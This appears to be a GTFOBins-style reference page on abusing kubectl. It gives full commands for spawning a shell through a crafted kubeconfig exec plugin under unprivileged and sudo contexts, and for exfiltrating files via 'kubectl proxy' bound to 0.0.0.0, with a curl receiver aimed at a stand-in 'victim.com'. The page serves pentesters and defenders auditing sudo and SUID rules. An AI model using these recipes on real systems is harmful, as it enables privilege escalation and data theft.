.. / kubectl

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• Shell
• Upload

Shell

This executable can spawn an interactive system shell.

• Comment

  The shell is spawn multiple times.

  Unprivileged

  This function can be performed by any unprivileged user.

  cat >/path/to/temp-file <<EOF
  clusters:
  - cluster:
      server: https://x
    name: x
  contexts:
  - context:
      cluster: x
      user: x
    name: x
  current-context: x
  users:
  - name: x
    user:
      exec:
        apiVersion: client.authentication.k8s.io/v1
        interactiveMode: Always
        command: /bin/sh
        args:
          - '-c'
          - '/bin/sh 0<&2 1>&2'
  EOF
  
  kubectl get pods --kubeconfig=/path/to/temp-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  cat >/path/to/temp-file <<EOF
  clusters:
  - cluster:
      server: https://x
    name: x
  contexts:
  - context:
      cluster: x
      user: x
    name: x
  current-context: x
  users:
  - name: x
    user:
      exec:
        apiVersion: client.authentication.k8s.io/v1
        interactiveMode: Always
        command: /bin/sh
        args:
          - '-c'
          - '/bin/sh 0<&2 1>&2'
  EOF
  
  kubectl get pods --kubeconfig=/path/to/temp-file

Upload

This executable can upload local data.

• Unprivileged

  This function can be performed by any unprivileged user.

  kubectl proxy --address=0.0.0.0 --port=12345 --www=/path/to/dir/ --www-prefix=/x/

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  kubectl proxy --address=0.0.0.0 --port=12345 --www=/path/to/dir/ --www-prefix=/x/

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  kubectl proxy --address=0.0.0.0 --port=12345 --www=/path/to/dir/ --www-prefix=/x/

  Receiver

  An HTTP client can be used on the attacker box to receive the data.

  curl victim.com:12345/x/path/to/input-file -o /path/to/output-file

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